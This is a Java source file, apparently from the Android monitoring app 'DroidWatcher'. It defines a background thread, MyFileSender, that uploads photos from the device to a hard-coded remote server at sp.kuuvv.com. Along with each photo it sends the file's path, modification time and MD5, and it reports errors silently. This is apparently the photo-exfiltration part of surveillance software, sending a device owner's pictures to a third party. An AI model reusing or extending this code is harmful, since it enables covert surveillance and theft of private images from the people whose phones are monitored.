package com.droidwatcher.photoUpload;


import android.os.Environment;
import android.util.Base64;

import com.alibaba.fastjson.JSON;
import com.droidwatcher.Debug;
import com.droidwatcher.JsonEntity.HttpRequestHead;
import com.droidwatcher.lib.ServerConst;
import com.droidwatcher.util.AXLog;
import com.droidwatcher.util.Md5Utils;

import com.droidwatcher.modules.ACRA;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.mime.HttpMultipartMode;
import org.apache.http.entity.mime.MultipartEntity;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.entity.mime.content.StringBody;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.util.EntityUtils;

import java.io.File;
import java.io.IOException;
import java.io.UnsupportedEncodingException;

import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;
import retrofit2.Retrofit;


/**
 * Created by scott on 2018/3/4.
 */

public class MyFileSender extends Thread{
    String path ;
    String serverAddress = "http://sp.kuuvv.com/api/picture/upload";

    public MyFileSender(String path){
        this.path = path ;
    }

    @Override
    public void run() {
        super.run();
        File file = new File(path);
        if (file.isFile()){
            AXLog.d("wzytest","文件存在");
            sendFiles(file);
        }

    }

    private Boolean sendFiles(File file){
        try {
            HttpClient httpClient = new DefaultHttpClient();
            HttpPost httpPost = new HttpPost(serverAddress);
            //httpPost.addHeader("head","eyJ1aWQiOjEyMywgInRva2VuIjoiMTJhc2FhYWFoeWp5amFzYXNkYSIsICJjbGllbnRfdHlwZSI6IiIsICJjbGllbnRfaWQiOiJhc2Fzc3NhYWFhIiwgInZlcnNpb24iOiIxIn0=");
            MultipartEntity multipartEntity = new MultipartEntity(HttpMultipartMode.BROWSER_COMPATIBLE);
            HttpRequestHead head = new HttpRequestHead();
            String json = JSON.toJSONString(head);
            multipartEntity.addPart("head",new StringBody(Base64Utils.getBase64(json)));
           // multipartEntity.addPart("head",new StringBody("eyJ1aWQiOjEyMywgInRva2VuIjoiMTJhc2FhYWFoeWp5amFzYXNkYSIsICJjbGllbnRfdHlwZSI6IiIsICJjbGllbnRfaWQiOiJhc2Fzc3NhYWFhIiwgInZlcnNpb24iOiIxIn0="));
            multipartEntity.addPart("photo", new FileBody(file));
            multipartEntity.addPart("file_last_modify_time",new StringBody(String.valueOf(file.lastModified())));
            multipartEntity.addPart("file_path",new StringBody(file.getAbsolutePath()));
            multipartEntity.addPart("file_md5",new StringBody(Md5Utils.fileMD5(file.getAbsolutePath())));

            AXLog.e("wzytest","参数 json:"+json+" Base64:"+Base64Utils.getBase64(json));
            AXLog.e("wzytest","参数2 file_path："+file.getAbsolutePath());
            AXLog.e("wzytest","参数3 file_md5："+Md5Utils.fileMD5(file.getAbsolutePath()));
            httpPost.setEntity(multipartEntity);

            HttpResponse response = httpClient.execute(httpPost);

            if (response == null){
                AXLog.d("wzytest","response 为空");
                return false;
            }

            HttpEntity entity = response.getEntity();

            if (entity == null) {
                AXLog.d("wzytest","entity 为空");
                return false;
            }

            String data = EntityUtils.toString(entity, "UTF-8");
            AXLog.e("wzytest","返回结果 data:"+data);
            return data.equals(ServerConst.OK);

        } catch(IOException e){
            Debug.exception(e);
        }
        catch (Exception e) {
            Debug.exception(e);
            ACRA.getErrorReporter().handleSilentException(e);
        }

        return false;
    }



    public static class Base64Utils {
        // 加密
        public static String getBase64(String str) {
            String result = "";
            if( str != null) {
                try {
                    result = new String(Base64.encode(str.getBytes("utf-8"), Base64.NO_WRAP),"utf-8");
                } catch (UnsupportedEncodingException e) {
                    e.printStackTrace();
                }
            }
            return result;
        }

        // 解密
        public static String getFromBase64(String str) {
            String result = "";
            if (str != null) {
                try {
                    result = new String(Base64.decode(str, Base64.NO_WRAP), "utf-8");
                } catch (UnsupportedEncodingException e) {
                    e.printStackTrace();
                }
            }
            return result;
        }
    }
}
